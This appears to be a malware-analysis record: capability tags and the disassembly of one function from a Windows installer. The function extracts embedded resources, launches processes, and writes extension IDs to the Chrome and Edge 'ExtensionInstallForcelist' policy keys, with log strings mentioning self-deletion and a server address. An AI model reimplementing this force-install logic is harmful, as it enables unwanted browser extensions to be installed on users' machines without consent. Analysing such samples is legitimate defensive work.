Function at 0x140017b60
Capabilities:
Create directory
Create process on windows
Extract resource via kernel32 functions
Read file on windows
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x618]
sub rsp, 0x6f0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1402c7100]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov r14d, 1
mov dword [rbp - 0x80], r14d
xor esi, esi
mov word [rbp + 0x3b0], si
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x3b2]
call fcn.14021f8d0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], rsi
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp + 0x120]
call fcn.140004c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], rsi
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp + 0xb0]
call fcn.140004c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
mov r8d, r14d
lea rdx, [0x140288ea0]
lea rcx, [rbp + 0xd0]
call fcn.140004c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov r8d, 8
lea rdx, str.app_name
lea rcx, [rbp + 0x180]
call fcn.140004c40
nop
xor edx, edx
mov r8d, 0x210
lea rcx, [rbp + 0x1a0]
call fcn.14021f8d0
xor r15b, r15b
mov byte [rsp + 0x70], r15b
xor edx, edx
lea rcx, [rsp + 0x78]
call fcn.14001c130
nop
xor edx, edx
lea rcx, [0x140288eb8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, str.CMyInstallerDlg::SS_Init___Start
call fcn.1400102d0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
mov qword [rbp + 0x118], rsi
mov dword [rbp - 0x80], r14d
mov edx, 0x3ed
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140017d44
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140017d44
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140017d44
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x140017d44
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x108]
call fcn.140012cc0
nop
mov rcx, qword [rbp + 0x108]
cmp rcx, qword [rbp + 0x110]
je 0x1400197c4
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov r8d, 0x1c
lea rdx, [0x140288ef8]
lea rcx, [rbp - 0x78]
call fcn.140004c40
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x78]
call fcn.1400100b0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140017dca
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017dc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001998d
call fcn.140014a40
lea rdx, [0x14028845c]
lea rcx, [0x140288ef8]
call fcn.1401f403c
mov rbx, rax
test rax, rax
je 0x140017e05
mov r9, rax
mov r8d, 0x210
mov rdx, r14
lea rcx, [rbp + 0x1a0]
call fcn.1401f5e24
mov rcx, rbx
call fcn.1401eee50
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp - 0x58]
call fcn.14000fc80
mov rdx, rax
lea r13, [0x1402d8288]
mov rcx, r13
call fcn.140004200
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140017e67
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019993
call fcn.140014a40
lea rdx, [rbp + 0x2ac]
lea rcx, [rbp - 0x58]
call fcn.14000fc80
mov rdx, rax
lea rcx, [0x1402d82a8]
call fcn.140004200
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140017ec6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ec1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019999
call fcn.140014a40
cmp qword [0x1402d8298], 0
jbe 0x140017ee0
movzx r15d, r15b
cmp qword [0x1402d82b8], 0
cmova r15d, r14d
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x20]
call fcn.14000f720
cmp qword [rsp + 0x28], 0
jne 0x140017f80
lea rcx, str.CMyInstallerDlg::SS_Init___GetOpenedHWndFromMyBrowser_w_hOpenedEdge__NULL
call fcn.1400102d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov r8d, 0xa
lea rdx, [0x140288338]
lea rcx, [rbp - 0x78]
call fcn.140004b10
lea rcx, [rbp - 0x78]
call fcn.14000fa80
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x140017f80
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001999f
call fcn.140014a40
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
movdqa xmm7, xmmword [0x14028bad0]
movdqa xmm6, xmm7
movdqu xmmword [rbp - 0x68], xmm7
mov byte [rbp - 0x78], 0
mov dword [rbp - 0x80], 4
mov edx, 0x3ec
xor ecx, ecx
mov r8d, 6
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x140018005
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140018005
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x140018005
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x140018005
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x78]
call fcn.14000b5d0
nop
movdqu xmm6, xmmword [rbp - 0x68]
jmp 0x140018005
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140018046
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018041
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199a5
call fcn.140014a40
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm6
lea rdx, [rbp + 0xd0]
movq rcx, xmm0
psrldq xmm6, 8
movq rax, xmm6
cmp rax, 0xf
cmova rdx, rcx
lea rcx, str.CMyInstallerDlg::SS_Init___w_sSelfDelOpt___s
call fcn.1400102d0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], rsi
mov dword [rbp - 0x80], 8
mov edx, 0x3e9
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400180f9
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400180f9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x1400180f9
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x1400180f9
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0xf0]
call fcn.140012cc0
nop
mov r12, qword [rbp + 0xf0]
cmp r12, qword [rbp + 0xf8]
je 0x1400186fa
lea rdx, [0x14028845c]
lea rcx, str.C:UsersPublicdata_ver.dat
call fcn.1401f403c
test rax, rax
je 0x140018132
mov rcx, rax
call fcn.1401eee50
mov eax, r14d
jmp 0x140018134
mov eax, esi
test eax, eax
jne 0x1400181b1
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov r8d, 0x1d
lea rdx, [0x140288fc0]
lea rcx, [rbp - 0x78]
call fcn.140004c40
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x78]
call fcn.1400100b0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400181aa
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400181a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199ab
call fcn.140014a40
mov r12, qword [rbp + 0xf0]
mov r14b, 1
mov edx, 1
lea rcx, str.CMyInstallerDlg::SS_Init___w_bLocalInstall___d
call fcn.1400102d0
lea rdx, [0x14028845c]
lea rcx, str.C:UsersPublicdata_ver.dat
call fcn.1401f403c
test rax, rax
je 0x1400181ea
mov rcx, rax
call fcn.1401eee50
jmp 0x140018708
lea rcx, str.CMyInstallerDlg::SS_Init___Local_ZIP_..._IsFileExist_GD_LOCAL_VER_FILEPATH___FALSE
call fcn.1400102d0
lea r8, [0x140289070]
mov ecx, 0x82
call fcn.140016730
lea r8, [0x1402890c8]
mov ecx, 0x83
call fcn.140016730
lea r8, [0x140289108]
mov ecx, 0x88
call fcn.140016730
lea r8, [0x140289150]
mov ecx, 0x86
call fcn.140016730
lea r8, [0x1402891a0]
mov ecx, 0x87
call fcn.140016730
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov r8d, 0x1f
lea rdx, [0x1402891e8]
lea rcx, [rbp - 0x38]
call fcn.140004c40
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov r8d, 0x21
lea rdx, [0x140289208]
lea rcx, [rbp - 0x78]
call fcn.140004c40
nop
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x78]
call fcn.1400104c0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400182e0
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400182db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199b1
call fcn.140014a40
movdqu xmmword [rbp - 0x68], xmm7
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140018324
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001831f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199b7
call fcn.140014a40
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov r8d, 0x22
lea rdx, [0x140289230]
lea rcx, [rbp - 0x38]
call fcn.140004c40
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov r8d, 0x21
lea rdx, [0x140289258]
lea rcx, [rbp - 0x78]
call fcn.140004c40
nop
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x78]
call fcn.1400104c0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400183b9
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400183b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199bd
call fcn.140014a40
movdqu xmmword [rbp - 0x68], xmm7
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400183fd
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400183f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199c3
call fcn.140014a40
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
movdqa xmm6, xmm7
movdqu xmmword [rbp - 0x68], xmm7
mov byte [rbp - 0x78], 0
mov dword [rbp - 0x80], 0x200
mov edx, 0x3ea
xor ecx, ecx
mov r8d, 6
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14001847a
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14001847a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x14001847a
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x14001847a
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x78]
call fcn.14000b5d0
nop
movdqu xmm6, xmmword [rbp - 0x68]
jmp 0x14001847a
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x1400184bb
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400184b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199c9
call fcn.140014a40
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm6
lea rdx, [0x140288460]
lea rcx, str.C:UsersPublicdata_ver.dat
call fcn.1401f403c
mov rbx, rax
test rax, rax
je 0x14001852a
lea rcx, str.CMyInstallerDlg::SS_Init___GD_LOCAL_VER_FILEPATH_OK
call fcn.1400102d0
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rcx, qword [rbp + 0x120]
mov r9, rbx
mov r8d, 1
mov rdx, qword [rbp + 0x130]
call fcn.1401f55cc
mov rcx, rbx
call fcn.1401eee50
jmp 0x140018536
lea rcx, str.CMyInstallerDlg::SS_Init___GD_LOCAL_VER_FILEPATH_Faild
call fcn.1400102d0
lea rdx, [0x1402892f0]
lea rcx, [rbp + 0x3b0]
call fcn.1400025c0
mov dword [rbp - 0x10], VarBstrFromDisp
mov dword [rbp - 0xc], 0x40
mov qword [rbp - 8], rsi
lea rdi, [0x1402882e8]
mov qword [rbp], rdi
lea rbx, [0x1402874d8]
mov qword [rbp + 8], rbx
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rsi
mov dword [rbp + 0x20], esi
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x1400185b1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp - 0x80], esi
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea rdx, [0x140289388]
lea rcx, [rbp + 0x3b0]
call fcn.1400025c0
mov dword [rbp - 0x10], VarBstrFromDisp
mov dword [rbp - 0xc], 0x40
mov qword [rbp - 8], rsi
mov qword [rbp], rdi
mov qword [rbp + 8], rbx
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rsi
mov dword [rbp + 0x20], esi
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14001861e
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp - 0x80], esi
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea rdx, [0x1402893b0]
lea rcx, [rbp + 0x3b0]
call fcn.1400025c0
mov dword [rbp - 0x10], VarBstrFromDisp
mov dword [rbp - 0xc], 0x40
mov qword [rbp - 8], rsi
mov qword [rbp], rdi
mov qword [rbp + 8], rbx
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rsi
mov dword [rbp + 0x20], esi
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14001868b
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp - 0x80], esi
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea rdx, [0x140289450]
lea rcx, [rbp + 0x3b0]
call fcn.1400025c0
mov dword [rbp - 0x10], VarBstrFromDisp
mov dword [rbp - 0xc], 0x40
mov qword [rbp - 8], rsi
mov qword [rbp], rdi
mov qword [rbp + 8], rbx
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rsi
mov dword [rbp + 0x20], esi
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14001870b
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp - 0x80], esi
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x14001870b
xor edx, edx
lea rcx, str.CMyInstallerDlg::SS_Init___w_bLocalInstall___d
call fcn.1400102d0
xor r14b, r14b
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
movdqa xmm6, xmm7
movdqu xmmword [rbp - 0x68], xmm7
mov byte [rbp - 0x78], 0
mov dword [rbp - 0x80], 2
mov edx, 0x3eb
xor ecx, ecx
mov r8d, 6
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x140018788
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140018788
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x140018788
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x140018788
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x78]
call fcn.14000b5d0
nop
movdqu xmm6, xmmword [rbp - 0x68]
jmp 0x140018788
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400187c9
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400187c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199c9
call fcn.140014a40
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm6
lea rdx, [rbp + 0xb0]
movq rcx, xmm0
psrldq xmm6, 8
movq rax, xmm6
cmp rax, 0xf
cmova rdx, rcx
lea rcx, str.CMyInstallerDlg::SS_Init___w_sServerAddr___s
call fcn.1400102d0
movabs rax, 0x7fffffffffffffff
movabs rcx, 0x8000000000000000
mov edx, 0x16
mov rdi, qword [rbp + 0xc0]
cmp rdi, 3
jb 0x140018efd
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
lea rsi, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rsi, qword [rbp + 0xb0]
cmp rdi, rax
ja 0x1400199cf
cmp rdi, 0xf
ja 0x14001888b
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], SafeArrayGetDim
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x140], xmm0
jmp 0x140018916
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x1400188c0
mov rbx, rax
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.14004d9b0
mov rcx, rax
test rax, rax
je 0x1400199ed
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400188f1
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400188d4
xor eax, eax
jmp 0x1400188f1
cmp rcx, 0x1000
jb 0x1400188ec
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140019981
jmp 0x14001889e
call fcn.14004d9b0
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14021f230
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp - 0x58]
call fcn.140004c40
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp - 0x78]
call fcn.140004c40
nop
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xor esi, esi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rsi
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp - 0x38]
call fcn.140004c40
nop
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x30]
call fcn.140004400
mov rbx, rax
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x90]
call fcn.140004400
nop
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x78]
mov rdx, rbx
mov rcx, rax
call fcn.1400065a0
test al, al
je 0x140018e3c
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rsi
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp - 0x38]
call fcn.140004c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], rsi
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp + 0x90]
call fcn.140004c40
nop
lea r8, [rbp + 0x90]
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x78]
call fcn.1400070c0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rsi
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x20]
call fcn.14000f720
mov rsi, qword [rsp + 0x28]
mov r8, rsi
mov rdi, qword [rsp + 0x20]
mov rdx, rdi
lea rcx, str.CMyInstallerDlg::SS_Init___w_hOpenedChrome___d__w_hOpenedEdge___d
call fcn.1400102d0
cmp qword [rbp - 0x28], 0x20
jne 0x140018c0a
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x50]
call fcn.140004400
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov r8d, 0x39
lea rdx, str.SOFTWAREPoliciesGoogleChromeExtensionInstallForcelist
lea rcx, [rsp + 0x30]
call fcn.140004c40
nop
mov r8, rbx
lea rdx, [rsp + 0x30]
call fcn.140016f90
test al, al
jne 0x140018c0a
lea rcx, str.CMyInstallerDlg::SS_Init___InstallAuthExtension_w_sChromeExtensionID__GD_REG_CHROME_EXTENSION_FORCE_
call fcn.1400102d0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov r8d, 0x39
lea rdx, str.SOFTWAREPoliciesGoogleChromeExtensionInstallForcelist
lea rcx, [rsp + 0x30]
call fcn.140004c40
nop
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x50]
call fcn.140004400
nop
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140007700
test rdi, rdi
je 0x140018c0a
test r14b, r14b
jne 0x140018c0a
cmp dword [rbp + reloc.OLEAUT32.dll_OleTranslateColor], 1
jne 0x140018c0a
xor edx, edx
mov rcx, rdi
call fcn.14000f860
lea rdx, [0x14028845c]
lea rcx, str.C:UsersPublicdata_ver.dat
call fcn.1401f403c
test rax, rax
je 0x1400192ff
mov rcx, rax
call fcn.1401eee50
call fcn.140017ab0
movaps xmm0, xmmword [str.C:Program_FilesGoogleChromeApplicationchrome.exe]
movaps xmmword [rbp + 0x3b0], xmm0
movaps xmm1, xmmword [0x140289670]
movaps xmmword [rbp + 0x3c0], xmm1
movaps xmm0, xmmword [0x140289680]
movaps xmmword [rbp + 0x3d0], xmm0
movaps xmm1, xmmword [0x140289690]
movaps xmmword [rbp + 0x3e0], xmm1
movaps xmm0, xmmword [0x1402896a0]
movaps xmmword [rbp + 0x3f0], xmm0
movaps xmm1, xmmword [0x1402896b0]
movaps xmmword [rbp + 0x400], xmm1
movsd xmm0, qword [0x1402896c0]
movsd qword [rbp + 0x410], xmm0
mov eax, dword [0x1402896c8]
mov dword [rbp + 0x418], eax
xor edx, edx
lea rcx, [rbp + 0x3b0]
call fcn.140003e90
xor edi, edi
cmp qword [rbp + 0xa0], 0x20
jne 0x140018dbc
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x50]
call fcn.140004400
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov r8d, 0x3a
lea rdx, str.SOFTWAREPoliciesMicrosoftEdgeExtensionInstallForcelist
lea rcx, [rsp + 0x30]
call fcn.140004c40
nop
mov r8, rbx
lea rdx, [rsp + 0x30]
call fcn.140016f90
test al, al
jne 0x140018dbc
lea rcx, str.CMyInstallerDlg::SS_Init___InstallAuthExtension_w_sMSEdgeExtensionID__GD_REG_MSEDGE_EXTENSION_FORCE_
call fcn.1400102d0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov r8d, 0x3a
lea rdx, str.SOFTWAREPoliciesMicrosoftEdgeExtensionInstallForcelist
lea rcx, [rsp + 0x30]
call fcn.140004c40
nop
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x50]
call fcn.140004400
nop
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140007700
test rsi, rsi
je 0x140018dbc
test r14b, r14b
jne 0x140018dbc
cmp dword [rbp + reloc.OLEAUT32.dll_OleTranslateColor], 1
jne 0x140018dbc
mov edx, 1
mov rcx, rsi
call fcn.14000f860
lea rdx, [0x14028845c]
lea rcx, str.C:UsersPublicdata_ver.dat
call fcn.1401f403c
test rax, rax
je 0x140019381
mov rcx, rax
call fcn.1401eee50
call fcn.140017ab0
movaps xmm0, xmmword [str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe]
movaps xmmword [rbp + 0x3b0], xmm0
movaps xmm1, xmmword [0x140289850]
movaps xmmword [rbp + 0x3c0], xmm1
movaps xmm0, xmmword [0x140289860]
movaps xmmword [rbp + 0x3d0], xmm0
movaps xmm1, xmmword [0x140289870]
movaps xmmword [rbp + 0x3e0], xmm1
movaps xmm0, xmmword [0x140289880]
movaps xmmword [rbp + 0x3f0], xmm0
movaps xmm1, xmmword [0x140289890]
movaps xmmword [rbp + 0x400], xmm1
movaps xmm0, xmmword [0x1402898a0]
movaps xmmword [rbp + 0x410], xmm0
movsd xmm0, qword [0x1402898b0]
movsd qword [rbp + 0x420], xmm0
movzx eax, word [0x1402898b8]
mov word [rbp + 0x428], ax
